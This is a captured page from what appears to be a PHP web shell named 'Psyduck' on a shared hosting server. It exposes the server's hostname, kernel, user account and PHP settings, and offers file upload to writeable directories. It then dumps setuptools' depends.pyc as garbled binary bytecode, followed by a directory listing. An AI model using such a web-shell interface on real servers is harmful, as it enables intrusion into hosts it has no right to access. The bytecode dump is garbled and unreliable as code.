Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /opt/alt/python27/lib/python2.7/site-packages/setuptools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyc
�
��Rec@s�ddlZddlZddlZddlmZddlmZmZmZmZddl	m
Z
dddd	gZddd
��YZdd�Zddd�Zdd
�Zd�Ze�dS(i����N(t
StrictVersion(t
PKG_DIRECTORYtPY_COMPILEDt	PY_SOURCEt	PY_FROZENi(tBytecodetRequiretfind_moduletget_module_constanttextract_constantcBsYeZdZdd	d	d�Zd�Zd�Zd	dd�Zd	d�Zd	d�Z	RS(
s7A prerequisite to building or installing a distributiontcCsn|dkr!|dk	r!t}n|dk	rQ||�}|dkrQd}qQn|jjt��|`dS(Nt__version__(tNoneRt__dict__tupdatetlocalstself(Rtnametrequested_versiontmodulethomepaget	attributetformat((s�/builddir/build/BUILDROOT/alt-python27-setuptools-36.3.0-4.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt__init__s	cCs*|jdk	r#d|j|jfS|jS(s0Return full package/distribution name, w/versions%s-%sN(RRR(R((s�/builddir/build/BUILDROOT/alt-python27-setuptools-36.3.0-4.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt	full_name scCs=|jdkp<|jdkp<t|�dko<||jkS(s%Is 'version' sufficiently up-to-date?tunknownN(RRRtstrR(Rtversion((s�/builddir/build/BUILDROOT/alt-python27-setuptools-36.3.0-4.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt
version_ok&sRcCs�|jdkr]y6t|j|�\}}}|r@|j�n|SWq]tk
rYdSXnt|j|j||�}|dk	r�||k	r�|jdk	r�|j|�S|S(s�Get version number of installed module, 'None', or 'default'

        Search 'paths' for module.  If not found, return 'None'.  If found,
        return the extracted version attribute, or 'default' if no version
        attribute was specified, or the value cannot be determined without
        importing the module.  The version is formatted according to the
        requirement's version format (if any), unless it is 'None' or the
        supplied 'default'.
        N(RRRRtclosetImportErrorRR(Rtpathstdefaulttftptitv((s�/builddir/build/BUILDROOT/alt-python27-setuptools-36.3.0-4.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pytget_version+s

'
cCs|j|�dk	S(s/Return true if dependency is present on 'paths'N(R%R(RR((s�/builddir/build/BUILDROOT/alt-python27-setuptools-36.3.0-4.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt
is_presentFscCs,|j|�}|dkrtS|j|�S(s>Return true if dependency is present and up-to-date on 'paths'N(R%RtFalseR(RRR((s�/builddir/build/BUILDROOT/alt-python27-setuptools-36.3.0-4.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt
is_currentJsN(
t__name__t
__module__t__doc__RRRRR%R&R((((s�/builddir/build/BUILDROOT/alt-python27-setuptools-36.3.0-4.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyRs
		c
Cs�|jd�}x�|r�|jd�}tj||�\}}\}}}}	|tkrv|pgdg}|g}q|rtd||f��qqW|	S(s7Just like 'imp.find_module()', but with package supportt.iRsCan't find %r in %s(tsplittpoptimpRRR(
RRtpartstpartR!tpathtsuffixtmodetkindtinfo((s�/builddir/build/BUILDROOT/alt-python27-setuptools-36.3.0-4.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyRRs	(c
Csy%t||�\}}\}}}Wntk
r9dSXz�|tkrh|jd�tj|�}	n�|tkr�tj	|�}	no|t
kr�t|j�|d�}	nH|tj
kr�tj||||||f�nttj
||d�SWd|r|j�nXt|	||�S(s�Find 'module' by searching 'paths', and extract 'symbol'

    Return 'None' if 'module' does not exist on 'paths', or it does not define
    'symbol'.  If the module defines 'symbol' as a constant, return the
    constant.  Otherwise, return 'default'.itexecN(RRRRtreadtmarshaltloadRR/tget_frozen_objectRtcompiletsystmodulestload_moduletgetattrRR	(
RtsymbolR RR!R2R3R4R5tcode((s�/builddir/build/BUILDROOT/alt-python27-setuptools-36.3.0-4.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyRes$%

"cCs�||jkrdSt|j�j|�}d}d}d}|}xpt|�D]b}|j}	|j}
|	|kr�|j|
}qP|
|kr�|	|ks�|	|kr�|S|}qPWdS(sExtract the constant value of 'symbol' from 'code'

    If the name 'symbol' is bound to a constant value by the Python code
    object 'code', return that value.  If 'symbol' is bound to an expression,
    return 'default'.  Otherwise, return 'None'.

    Return value is based on the first assignment to 'symbol'.  'symbol' must
    be a global, or at least a non-"fast" local in the code block.  That is,
    only 'STORE_NAME' and 'STORE_GLOBAL' opcodes are checked, and 'symbol'
    must be present in 'code.co_names'.
    iZiaidN(tco_namesRtlisttindexRtopcodetargt	co_consts(RBRAR tname_idxt
STORE_NAMEtSTORE_GLOBALt
LOAD_CONSTtconstt	byte_codetopRG((s�/builddir/build/BUILDROOT/alt-python27-setuptools-36.3.0-4.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyR	�s		$cCsXtjjd�r&tjdkr&dSd}x%|D]}t�|=tj|�q3WdS(s�
    Patch the globals to remove the objects not available on some platforms.

    XXX it'd be better to test assertions about bytecode instead.
    tjavatcliNR	R(R	R(R=tplatformt
startswithtglobalst__all__tremove(tincompatibleR((s�/builddir/build/BUILDROOT/alt-python27-setuptools-36.3.0-4.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt_update_globals�s"

((R=R/R9tdistutils.versionRRRRRt
py33compatRRURRRRR	RX(((s�/builddir/build/BUILDROOT/alt-python27-setuptools-36.3.0-4.el8.x86_64/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt<module>s"C"$	
Name
Size
Permissions
Options
command
--
drwxr-xr-x
extern
--
drwxr-xr-x
__init__.py
4.919 KB
-rw-r--r--
__init__.pyc
7.914 KB
-rw-r--r--
archive_util.py
6.458 KB
-rw-r--r--
archive_util.pyc
6.661 KB
-rw-r--r--
config.py
15.935 KB
-rw-r--r--
config.pyc
19.261 KB
-rw-r--r--
dep_util.py
0.913 KB
-rw-r--r--
dep_util.pyc
1.103 KB
-rw-r--r--
depends.py
5.7 KB
-rw-r--r--
depends.pyc
7.292 KB
-rw-r--r--
dist.py
39.359 KB
-rw-r--r--
dist.pyc
43.612 KB
-rw-r--r--
extension.py
1.688 KB
-rw-r--r--
extension.pyc
2.842 KB
-rw-r--r--
glob.py
5.085 KB
-rw-r--r--
glob.pyc
5.586 KB
-rw-r--r--
launch.py
0.769 KB
-rw-r--r--
launch.pyc
1.137 KB
-rw-r--r--
lib2to3_ex.py
1.966 KB
-rw-r--r--
lib2to3_ex.pyc
3.654 KB
-rw-r--r--
monkey.py
5.655 KB
-rw-r--r--
monkey.pyc
7.241 KB
-rw-r--r--
msvc.py
39.926 KB
-rw-r--r--
msvc.pyc
45.896 KB
-rw-r--r--
namespaces.py
3.124 KB
-rw-r--r--
namespaces.pyc
5.876 KB
-rw-r--r--
package_index.py
39.034 KB
-rw-r--r--
package_index.pyc
45.489 KB
-rw-r--r--
py26compat.py
0.663 KB
-rw-r--r--
py26compat.pyc
1.587 KB
-rw-r--r--
py27compat.py
0.523 KB
-rw-r--r--
py27compat.pyc
1.341 KB
-rw-r--r--
py31compat.py
1.606 KB
-rw-r--r--
py31compat.pyc
2.88 KB
-rw-r--r--
py33compat.py
0.975 KB
-rw-r--r--
py33compat.pyc
1.787 KB
-rw-r--r--
py36compat.py
2.823 KB
-rw-r--r--
py36compat.pyc
3.195 KB
-rw-r--r--
sandbox.py
14.208 KB
-rw-r--r--
sandbox.pyc
22.996 KB
-rw-r--r--
script (dev).tmpl
0.196 KB
-rw-r--r--
script.tmpl
0.135 KB
-rw-r--r--
site-patch.py
2.253 KB
-rw-r--r--
site-patch.pyc
1.858 KB
-rw-r--r--
ssl_support.py
8.027 KB
-rw-r--r--
ssl_support.pyc
9.781 KB
-rw-r--r--
unicode_utils.py
0.973 KB
-rw-r--r--
unicode_utils.pyc
1.758 KB
-rw-r--r--
version.py
0.141 KB
-rw-r--r--
version.pyc
0.395 KB
-rw-r--r--
windows_support.py
0.697 KB
-rw-r--r--
windows_support.pyc
1.564 KB
-rw-r--r--